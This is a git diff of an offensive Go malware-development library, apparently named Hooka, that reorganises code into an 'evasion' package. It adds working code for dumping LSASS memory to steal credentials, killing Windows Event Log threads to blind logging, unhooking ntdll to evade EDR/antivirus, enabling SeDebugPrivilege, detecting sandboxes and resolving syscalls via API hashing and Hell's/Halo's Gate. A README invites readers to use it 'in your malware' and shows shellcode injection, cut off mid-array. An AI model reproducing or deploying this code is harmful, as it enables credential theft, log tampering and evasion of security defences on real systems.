pe.NewFileFromMemory(rr) - if err != nil { - return 0, err - } - - exports, err := p.Exports() - if err != nil { - return 0, err - } - - for _, ex := range exports { - if strings.EqualFold(funcname, ex.Name) { - return uint64(uintptr(s)) + uint64(ex.VirtualAddress), nil - } - } - - return 0, fmt.Errorf("could not find function: %s", funcname) -} - func getDiskSysId(funcname string) (uint16, error) { ntdll_path := string( @@ -135,10 +109,10 @@ func getDiskSysId(funcname string) (uint16, error) { } buff := bBytes[offset : offset+10] - sysId, e := CheckBytes(buff) + sysId, err := CheckBytes(buff) var hook_err MayBeHookedError - if errors.As(e, &hook_err) { + if errors.As(err, &hook_err) { // Enter here if function seems to be hooked start, size := GetNtdllStart() @@ -149,9 +123,9 @@ func getDiskSysId(funcname string) (uint16, error) { if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') { distanceNeighbor++ - sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again - if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked - return sysId - uint16(distanceNeighbor), e + sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) // Check hook again + if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked + return sysId - uint16(distanceNeighbor), err } } } @@ -162,9 +136,9 @@ func getDiskSysId(funcname string) (uint16, error) { if bBytes[i] == byte('\x0f') && bBytes[i+1] == byte('\x05') && bBytes[i+2] == byte('\xc3') { distanceNeighbor++ - sysId, e := CheckBytes(bBytes[i+14 : i+14+8]) - if !errors.As(e, &hook_err) { // Return syscall ID if it isn't hooked - return sysId + uint16(distanceNeighbor) - 1, e + sysId, err := CheckBytes(bBytes[i+14 : i+14+8]) + if !errors.As(err, &hook_err) { // Return syscall ID if it isn't hooked + return sysId + uint16(distanceNeighbor) - 1, err } } } diff --git a/core/hashing.go b/evasion/hashing.go similarity index 68% rename from core/hashing.go rename to evasion/hashing.go index cc6782e..ebe8cfa 100644 --- a/core/hashing.go +++ b/evasion/hashing.go @@ -1,4 +1,4 @@ -package core +package evasion /* @@ -11,14 +11,45 @@ import ( "bytes" "encoding/binary" "errors" + "golang.org/x/sys/windows" // Third-party "github.com/Binject/debug/pe" "github.com/awgh/rawreader" ) -// Check if hash is a valid function and return its proc -func FuncFromHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) { +/* + +This file contains various functions that use API hashing to retrieve the pointer to a function or its syscall + +*/ + +// Receive a hash, the full path to DLL and the hashing function used to encode the function, then you use the pointer like GetCurrentProccess.Call() +func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) { + // Open and parse PE file + pe_file, err := pe.Open(dll) + if err != nil { + return &windows.LazyProc{}, "", err + } + defer pe_file.Close() + + // Get export table + exports, err := pe_file.Exports() + if err != nil { + return &windows.LazyProc{}, "", err + } + + for _, exp := range exports { + if hash == hashing_function(exp.Name) { + return windows.NewLazyDLL(dll).NewProc(exp.Name), exp.Name, nil + } + } + + return &windows.LazyProc{}, "", errors.New("function not found") +} + +// retrieve syscall using hashing to use it later like Syscall(sysid, ...) +func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) { dll_pe, err := pe.Open(dll) // Open and parse dll as a PE if err != nil { return 0, "", err @@ -49,10 +80,11 @@ func FuncFromHash(hash string, dll string, hashing_func func(str string) string) } } - return 0, "", errors.New("function not found!") + return 0, "", errors.New("syscall ID not found") } -func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) { +// retrieve syscall using hashing and Hell's Gate + Halo's Gate technique like GetSysId() function +func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) { var ntdll_pe *pe.File var err error diff --git a/core/hooks.go b/evasion/hooks.go similarity index 67% rename from core/hooks.go rename to evasion/hooks.go index 9125e32..431950f 100644 --- a/core/hooks.go +++ b/evasion/hooks.go @@ -1,4 +1,4 @@ -package core +package evasion /* @@ -8,7 +8,7 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal */ import ( - "errors" + "bytes" "strings" // Third-party packages @@ -18,32 +18,30 @@ import ( func DetectHooks() ([]string, error) { var hooked_functions []string - ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE + dll_pe, err := pe.Open(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'})) if err != nil { return hooked_functions, err } - defer ntdll_pe.Close() + defer dll_pe.Close() - exports, err := ntdll_pe.Exports() // Get exported functions + exports, err := dll_pe.Exports() // Get exported functions if err != nil { return hooked_functions, err } for _, exp := range exports { // Iterate over them - offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset - bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll + offset := rvaToOffset(dll_pe, exp.VirtualAddress) // Get RVA offset + bBytes, err := dll_pe.Bytes() // Get bytes from ntdll.dll if err != nil { return hooked_functions, err } buff := bBytes[offset : offset+10] - _, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error) - var hook_err MayBeHookedError if len(exp.Name) > 3 { // Avoid errors by checking function name length if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw" - if errors.As(err, &hook_err) == true { // Check error + if !bytes.HasPrefix(buff, HookCheck) { // check if it is hooked hooked_functions = append(hooked_functions, exp.Name) } } diff --git a/evasion/lsass.go b/evasion/lsass.go new file mode 100644 index 0000000..2b85fa8 --- /dev/null +++ b/evasion/lsass.go @@ -0,0 +1,79 @@ +package evasion + +/* + +References: +https://github.com/calebsargent/GoProcDump +https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass + +*/ + +import ( + "os" + "golang.org/x/sys/windows" + "unsafe" + + mproc "github.com/D3Ext/maldev/process" +) + +func DumpLsass(output_file string) error { + err := ElevateProcessToken() + if err != nil { + return err + } + + all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'})) + if err != nil { + return err + } + lsass_pid := all_lsass_pids[0] + + kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) + dbghelp := windows.NewLazyDLL(string([]byte{'D', 'b', 'g', 'h', 'e', 'l', 'p', '.', 'd', 'l', 'l'})) + + MiniDumpWriteDump := dbghelp.NewProc(string([]byte{'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p'})) + OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'})) + CreateFileW := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W'})) + + pHandle, _, _ := OpenProcess.Call( + uintptr(0xFFFF), + uintptr(1), + uintptr(lsass_pid), + ) + + // Create memory dump + os.Create(output_file) + + path, err := windows.UTF16PtrFromString(output_file) + if err != nil { + return err + } + + fHandle, _, _ := CreateFileW.Call( + uintptr(unsafe.Pointer(path)), + windows.GENERIC_WRITE, + windows.FILE_SHARE_READ|windows.FILE_SHARE_WRITE, + 0, + windows.OPEN_EXISTING, + windows.FILE_ATTRIBUTE_NORMAL, + 0, + ) + + ret, _, err := MiniDumpWriteDump.Call( + uintptr(pHandle), + uintptr(lsass_pid), + uintptr(fHandle), + 0x00061907, + 0, + 0, + 0, + ) + + if ret == 0 { + os.Remove(output_file) + return err + } + + return nil +} + diff --git a/evasion/phant0m.go b/evasion/phant0m.go new file mode 100644 index 0000000..a562559 --- /dev/null +++ b/evasion/phant0m.go @@ -0,0 +1,154 @@ +package evasion + +import ( + "errors" + "unsafe" + + "golang.org/x/sys/windows" +) + +func GetEventLogPid() (int, error) { + advapi32 := windows.NewLazyDLL("advapi32.dll") + + OpenSCManager := advapi32.NewProc("OpenSCManagerW") + OpenService := advapi32.NewProc("OpenServiceW") + QueryServiceStatusEx := advapi32.NewProc("QueryServiceStatusEx") + + var ssp windows.SERVICE_STATUS_PROCESS + var dwBytesNeeded uint32 + + scm, _, err := OpenSCManager.Call(0, 0, windows.SERVICE_QUERY_STATUS) + if scm == 0 { + return 0, err + } + + svc, _, err := OpenService.Call(scm, uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("EventLog"))), windows.SERVICE_QUERY_STATUS) + if svc == 0 { + return 0, err + } + + QueryServiceStatusEx.Call(svc, windows.SC_STATUS_PROCESS_INFO, uintptr(unsafe.Pointer(&ssp)), uintptr(unsafe.Sizeof(ssp)), uintptr(unsafe.Pointer(&dwBytesNeeded))) + + return int(ssp.ProcessId), nil +} + +// Main function +func Phant0m(eventlog_pid int) error { + err := ElevateProcessToken() // admin privs needed + if err != nil { + return err + } + + ntdll := windows.NewLazyDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'})) + NtQueryInformationThread := ntdll.NewProc(string([]byte{'N', 't', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 'T', 'h', 'r', 'e', 'a', 'd'})) + + advapi32 := windows.NewLazyDLL(string([]byte{'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l'})) + I_QueryTagInformation := advapi32.NewProc(string([]byte{'I', '_', 'Q', 'u', 'e', 'r', 'y', 'T', 'a', 'g', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n'})) + + kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})) + OpenThread := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'T', 'h', 'r', 'e', 'a', 'd'})) + OpenProcess := kernel32.NewProc(string([]byte{'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's'})) + TerminateThread := kernel32.NewProc(string([]byte{'T', 'e', 'r', 'm', 'i', 'n', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd'})) + CloseHandle := kernel32.NewProc(string([]byte{'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e'})) + ReadProcessMemory := kernel32.NewProc(string([]byte{'R', 'e', 'a', 'd', 'P', 'r', 'o', 'c', 'e', 's', 's', 'M', 'e', 'm', 'o', 'r', 'y'})) + CreateToolhelp32Snapshot := kernel32.NewProc(string([]byte{'C', 'r', 'e', 'a', 't', 'e', 'T', 'o', 'o', 'l', 'h', 'e', 'l', 'p', '3', '2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't'})) + Thread32First := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'F', 'i', 'r', 's', 't'})) + Thread32Next := kernel32.NewProc(string([]byte{'T', 'h', 'r', 'e', 'a', 'd', '3', '2', 'N', 'e', 'x', 't'})) + + var hThreads uintptr + hThreads, _, _ = CreateToolhelp32Snapshot.Call( + windows.TH32CS_SNAPTHREAD, + 0, + ) + + if hThreads == 0 { + return errors.New("An error has occurred calling CreateToolhelp32Snapshot") + } + + tbi := PTHREAD_BASIC_INFORMATION{} + te32 := windows.ThreadEntry32{} + te32.Size = uint32(unsafe.Sizeof(te32)) + + Thread32First.Call( + hThreads, + uintptr(unsafe.Pointer(&te32)), + ) + + for true { + if te32.OwnerProcessID == uint32(eventlog_pid) { + hEvtThread, _, _ := OpenThread.Call( + windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE, + uintptr(0), + uintptr(te32.ThreadID), + ) + + if hEvtThread == 0 { + return errors.New("An error has occurred calling OpenThread") + } + + NtQueryInformationThread.Call( + uintptr(hEvtThread), + 0, + uintptr(unsafe.Pointer(&tbi)), + 0x30, + 0, + ) + + hEvtProcess, _, _ := OpenProcess.Call( + windows.PROCESS_VM_READ, + uintptr(0), + uintptr(te32.OwnerProcessID), + ) + + if hEvtProcess == 0 { + return errors.New("An error has occurred calling OpenProcess") + } + + if tbi.pTebBaseAddress != 0 { + scTagQuery := SC_SERVICE_TAG_QUERY{} + + var hTag byte + var pN uintptr + ReadProcessMemory.Call( + hEvtProcess, + tbi.pTebBaseAddress+0x1720, + uintptr(unsafe.Pointer(&hTag)), + unsafe.Sizeof(pN), + 0, + ) + + scTagQuery.processId = te32.OwnerProcessID + scTagQuery.serviceTag = uint32(hTag) + + I_QueryTagInformation.Call( + 0, + 1, // ServiceNameFromTagInformation + uintptr(unsafe.Pointer(&scTagQuery)), + ) + + if scTagQuery.pBuffer != nil { + TerminateThread.Call( + uintptr(hEvtThread), + 0, + ) + } + + CloseHandle.Call(hEvtThread) + CloseHandle.Call(hEvtProcess) + } + } + + _, _, err := Thread32Next.Call( + hThreads, + uintptr(unsafe.Pointer(&te32)), + ) + + if err != nil { + break + } + } + + CloseHandle.Call(hThreads) + + return nil +} diff --git a/core/sandbox.go b/evasion/sandbox.go similarity index 87% rename from core/sandbox.go rename to evasion/sandbox.go index fff8b23..fa96202 100644 --- a/core/sandbox.go +++ b/evasion/sandbox.go @@ -1,4 +1,4 @@ -package core +package evasion import ( "errors" @@ -6,7 +6,6 @@ import ( "os" "os/user" "runtime" - "syscall" "time" "unsafe" @@ -15,72 +14,72 @@ import ( mproc "github.com/D3Ext/maldev/process" ) -func AutoCheck() error { +func AutoCheck() (bool, error) { mem_check, err := CheckMemory() if err != nil { - return err + return false, err } if mem_check { - os.Exit(0) + return true, nil } drivers_check := CheckDrivers() if drivers_check { - os.Exit(0) + return true, nil } proc_check, err := CheckProcess() if err != nil { - return err + return false, err } if proc_check { - os.Exit(0) + return true, nil } disk_check, err := CheckDisk() if err != nil { - return err + return false, err } if disk_check { - os.Exit(0) + return true, nil } internet_check := CheckInternet() if internet_check { - os.Exit(0) + return true, nil } hostn_check, err := CheckHostname() if err != nil { - return err + return false, err } if hostn_check { - os.Exit(0) + return true, nil } user_check, err := CheckUsername() if err != nil { - return err + return false, err } if user_check { - os.Exit(0) + return true, nil } cpu_check := CheckCpu() if cpu_check { - os.Exit(0) + return true, nil } - return nil + return false, nil } func CheckMemory() (bool, error) { - procGlobalMemoryStatusEx := syscall.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx") + procGlobalMemoryStatusEx := windows.NewLazyDLL("kernel32.dll").NewProc("GlobalMemoryStatusEx") msx := &memStatusEx{ dwLength: 64, @@ -99,7 +98,7 @@ func CheckMemory() (bool, error) { } func CheckDisk() (bool, error) { - procGetDiskFreeSpaceExW := syscall.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW") + procGetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW") lpTotalNumberOfBytes := int64(0) diskret, _, err := procGetDiskFreeSpaceExW.Call( diff --git a/evasion/sleep.go b/evasion/sleep.go new file mode 100644 index 0000000..2544be1 --- /dev/null +++ b/evasion/sleep.go @@ -0,0 +1,13 @@ +package evasion + +func Sleep() { + s := 500000 + + for i := 0; i <= s; i++ { + for j := 2; j <= i/2; j++ { + if i % j == 0 { + break + } + } + } +} diff --git a/evasion/syscall.go b/evasion/syscall.go new file mode 100644 index 0000000..876caef --- /dev/null +++ b/evasion/syscall.go @@ -0,0 +1,17 @@ +package evasion + +import "fmt" + +func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) { + errcode = bpSyscall(callid, argh...) + + if errcode != 0 { + err = fmt.Errorf("non-zero return from syscall") + } + + return errcode, err +} + +func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32) + + diff --git a/evasion/unhook.go b/evasion/unhook.go new file mode 100644 index 0000000..4ee0fd0 --- /dev/null +++ b/evasion/unhook.go @@ -0,0 +1,217 @@ +package evasion + +/* + +References: +https://github.com/RedLectroid/APIunhooker +https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis + +*/ + +import ( + "errors" + "io/ioutil" + "strings" + "time" + "unsafe" + + "golang.org/x/sys/windows" + + "github.com/Binject/debug/pe" +) + +// This function unhooks given functions of especified dll +func ClassicUnhook(funcnames []string, dllpath string) error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + GetModuleHandle := kernel32.NewProc("GetModuleHandleW") + GetProcAddress := kernel32.NewProc("GetProcAddress") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + + // should be full path: C:\\Windows\\System32\\ntdll.dll + lib, _ := windows.LoadLibrary(dllpath) + defer windows.FreeLibrary(lib) + + for _, f := range funcnames { + var assembly_bytes []byte + + procAddr, _ := windows.GetProcAddress(lib, f) + + ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr)) + funcBytes := ptr_bytes[:5:5] + + for i := 0; i < 5; i++ { + assembly_bytes = append(assembly_bytes, funcBytes[i]) + } + + pHandle, _, err := GetCurrentProcess.Call() + if pHandle == 0 { + return err + } + + // Convert dll name to pointer + lib_ptr, err := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3]) + if err != nil { + return err + } + + moduleHandle, _, err := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr))) + if moduleHandle == 0 { + return err + } + + func_ptr, err := windows.UTF16PtrFromString(f) + if err != nil { + return err + } + + addr, _, err := GetProcAddress.Call( + moduleHandle, + uintptr(unsafe.Pointer(func_ptr)), + ) + + if addr == 0 { + return err + } + + // Overwrite address with original function bytes + WriteProcessMemory.Call( + pHandle, + addr, + uintptr(unsafe.Pointer(&assembly_bytes[0])), + 5, + uintptr(0), + ) + } + + return nil +} + +// Load fresh DLL copy in memory +func FullUnhook(dlls_to_unhook []string) error { + ntdll := windows.NewLazyDLL("ntdll.dll") + NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") + + for _, dll_to_unhook := range dlls_to_unhook { + if (!strings.HasPrefix(dll_to_unhook, "C:\\")) { + dll_to_unhook = "C:\\Windows\\System32\\" + dll_to_unhook + } + + f, err := ioutil.ReadFile(dll_to_unhook) + if err != nil { + return err + } + + file, err := pe.Open(dll_to_unhook) + if err != nil { + return err + } + + x := file.Section(".text") + size := x.Size + dll_bytes := f[x.Offset:x.Size] + + dll, err := windows.LoadDLL(dll_to_unhook) + if err != nil { + return err + } + + dll_handle := dll.Handle + dll_base := uintptr(dll_handle) + dll_offset := uint(dll_base) + uint(x.VirtualAddress) + + regionsize := uintptr(size) + var oldProtect uintptr + + r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) + if r1 != 0 { + return err + } + + for i := 0; i < len(dll_bytes); i++ { + loc := uintptr(dll_offset + uint(i)) + mem := (*[1]byte)(unsafe.Pointer(loc)) + (*mem)[0] = dll_bytes[i] + } + + r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&dll_offset)), uintptr(unsafe.Pointer(®ionsize)), oldProtect, uintptr(unsafe.Pointer(&oldProtect))) + if r2 != 0 { + return err + } + } + + return nil +} + +// Get a clean copy of ntdll from a suspended process (e.g. notepad.exe) and copy it to current process +func PerunsUnhook() error { + kernel32 := windows.NewLazyDLL("kernel32.dll") + GetConsoleWindow := kernel32.NewProc("GetConsoleWindow") + CreateProcessW := kernel32.NewProc("CreateProcessW") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + TerminateProcess := kernel32.NewProc("TerminateProcess") + ShowWindow := windows.NewLazyDLL("user32.dll").NewProc("ShowWindow") + + hwnd, _, _ := GetConsoleWindow.Call() + if hwnd == 0 { + return errors.New("error calling GetConsoleWindow") + } + + var SW_HIDE uintptr = 0 + ShowWindow.Call(hwnd, SW_HIDE) + + si:= &windows.StartupInfo{} + pi := &windows.ProcessInformation{} + + cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") + if err != nil { + return err + } + + CreateProcessW.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi))) + + pHandle, _, _ := GetCurrentProcess.Call() + + time.Sleep(5 * time.Second) + + file, err := pe.Open("C:\\Windows\\System32\\ntdll.dll") + if err != nil { + return err + } + + x := file.Section(".text") + size := x.Size + + dll, err := windows.LoadDLL("C:\\Windows\\System32\\ntdll.dll") + if err != nil { + return err + } + + dll_handle := dll.Handle + dll_base := uintptr(dll_handle) + dll_offset := uint(dll_base) + uint(x.VirtualAddress) + + var data = make([]byte, size) + var nbr uintptr = 0 + + r1, _, err := ReadProcessMemory.Call(uintptr(pi.Process), uintptr(dll_offset), uintptr(unsafe.Pointer(&data[0])), uintptr(size), uintptr(unsafe.Pointer(&nbr))) + if r1 == 0 { + return err + } + + ntdll_bytes := data + ntdll_offset := dll_offset + + var nLength uintptr + r2, _, err := WriteProcessMemory.Call(pHandle, uintptr(ntdll_offset), uintptr(unsafe.Pointer(&ntdll_bytes[0])), uintptr(uint32(len(ntdll_bytes))), uintptr(unsafe.Pointer(&nLength))) + if r2 == 0 { + return err + } + + TerminateProcess.Call(uintptr(pi.Process), 0) + + return nil +} + diff --git a/evasion/utils.go b/evasion/utils.go new file mode 100644 index 0000000..5b9d738 --- /dev/null +++ b/evasion/utils.go @@ -0,0 +1,187 @@ +package evasion + +import ( + "encoding/binary" + "bytes" + "unsafe" + "syscall" + "strings" + "fmt" + "crypto/sha1" + //"golang.org/x/sys/windows" + "github.com/Binject/debug/pe" +) + +func Sha1(str string) string { + h := sha1.New() + h.Write([]byte(str)) + bs := h.Sum(nil) + + return fmt.Sprintf("%x", bs) +} + +var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for + +type MayBeHookedError struct { // Define custom error for hooked functions + Foundbytes []byte +} + +func (e MayBeHookedError) Error() string { + return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes) +} + +func CheckBytes(b []byte) (uint16, error) { + if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes + return 0, MayBeHookedError{Foundbytes: b} + } + + return binary.LittleEndian.Uint16(b[4:8]), nil +} + +// getString extracts a string from symbol string table. +func getString(section []byte, start int) (string, bool) { + if start < 0 || start >= len(section) { + return "", false + } + + for end := start; end < len(section); end++ { + if section[end] == 0 { + return string(section[start:end]), true + } + } + return "", false +} + +func rvaToOffset(pefile *pe.File, rva uint32) uint32 { + for _, hdr := range pefile.Sections { + baseoffset := uint64(rva) + if baseoffset > uint64(hdr.VirtualAddress) && + baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { + return rva - hdr.VirtualAddress + hdr.Offset + } + } + return rva +} + +func inMemLoads(modulename string) (uintptr, uintptr) { + s, si, p := gMLO(0) + start := p + i := 1 + + if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) { + return s, si + } + + for { + s, si, p = gMLO(i) + + if p != "" { + if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) { + return s, si + } + } + + if p == start { + break + } + + i++ + } + + return 0, 0 +} + +func GetNtdllStart() (start uintptr, size uintptr) + +func gMLO(i int) (start uintptr, size uintptr, modulepath string) { + var badstring *sstring + start, size, badstring = getMLO(i) + modulepath = badstring.String() + return +} + +// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. +func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) + +// Enable SeDebugPrivilege +func ElevateProcessToken() error { + + type Luid struct { + lowPart uint32 // DWORD + highPart int32 // long + } + + type LuidAndAttributes struct { + luid Luid // LUID + attributes uint32 // DWORD + } + + type TokenPrivileges struct { + privilegeCount uint32 // DWORD + privileges [1]LuidAndAttributes + } + + const SeDebugPrivilege = "SeDebugPrivilege" + const tokenAdjustPrivileges = 0x0020 + const tokenQuery = 0x0008 + var hToken uintptr + + kernel32 := syscall.NewLazyDLL("kernel32.dll") + advapi32 := syscall.NewLazyDLL("advapi32.dll") + + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + GetLastError := kernel32.NewProc("GetLastError") + OpenProcessToken := advapi32.NewProc("OpenProcessToken") + LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW") + AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges") + + currentProcess, _, _ := GetCurrentProcess.Call() + + result, _, err := OpenProcessToken.Call( + currentProcess, + tokenAdjustPrivileges|tokenQuery, + uintptr(unsafe.Pointer(&hToken)), + ) + + if result != 1 { + return err + } + + var tkp TokenPrivileges + + result, _, err = LookupPrivilegeValue.Call( + uintptr(0), + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), + uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))), + ) + + if result != 1 { + return err + } + + const SePrivilegeEnabled uint32 = 0x00000002 + + tkp.privilegeCount = 1 + tkp.privileges[0].attributes = SePrivilegeEnabled + + result, _, err = AdjustTokenPrivileges.Call( + hToken, + 0, + uintptr(unsafe.Pointer(&tkp)), + 0, + uintptr(0), + 0, + ) + + if result != 1 { + return err + } + + result, _, _ = GetLastError.Call() + if result != 0 { + return err + } + + return nil +} + diff --git a/examples/README.md b/examples/README.md index 4f2dccc..e889047 100644 --- a/examples/README.md +++ b/examples/README.md @@ -1,6 +1,6 @@ # Library -If you're looking to implement any function in your malware you can do it using the official package API. First of all download the package +If you're looking to implement any function in your malware you can do it using the official package API. First of all you have to download the package ```sh go get github.com/D3Ext/Hooka/pkg/hooka @@ -15,7 +15,6 @@ package main import ( "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) @@ -43,42 +42,31 @@ package main import ( "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) func main(){ - // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = NtCreateThread - // it comes from: hooka.HashFromFunc("NtCreateThread") + // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = Sha1(NtCreateThread) - // Returns a pointer to function like NewProc() - proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4") + // func GetFuncPtr(hash string, dll string, hashing_function func(str string) string) (*windows.LazyProc, string, error) + NtCreateThread, _, err := hooka.GetFuncPtr("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1) if err != nil { log.Fatal(err) } - // Now use the procedure as loading it from dll - r, err := hooka.Syscall( - proc, - arg1, - arg2, - arg3, - arg4, - ) - - ... + // Now use the procedure as usually + NtCreateThread.Call(...) } ``` -> Apply AMSI and ETW patch +> Patch AMSI and ETW ```go package main import ( "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) @@ -106,7 +94,6 @@ package main import ( "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) @@ -133,6 +120,54 @@ func main(){ } ``` +> Get syscall id using hashing +```go +package main + +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + //func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) + NtCreateThread, err := hooka.GetSysIdHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1) + if err != nil { + log.Fatal(err) + } + + r, err := hooka.Syscall(NtCreateThread, ...) + if err != nil { + log.Fatal(err) + } +} +``` + +> Get syscall id using hashing combined with Hell's Gate + Halo's Gate +```go +package main + +import ( + "fmt" + "log" + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + //func GetSysIdHashHalos(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) + NtCreateThread, err := hooka.GetSysIdHashHalos("8c2beefa1c516d318252c9b1b45253e0549bb1c4", "C:\\Windows\\System32\\ntdll.dll", Sha1) + if err != nil { + log.Fatal(err) + } + + r, err := hooka.Syscall(NtCreateThread, ...) + if err != nil { + log.Fatal(err) + } +} +``` + > Use shellcode injection techniques ```go package main @@ -140,26 +175,20 @@ package main import ( "fmt" "log" - "github.com/D3Ext/Hooka/pkg/hooka" ) var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 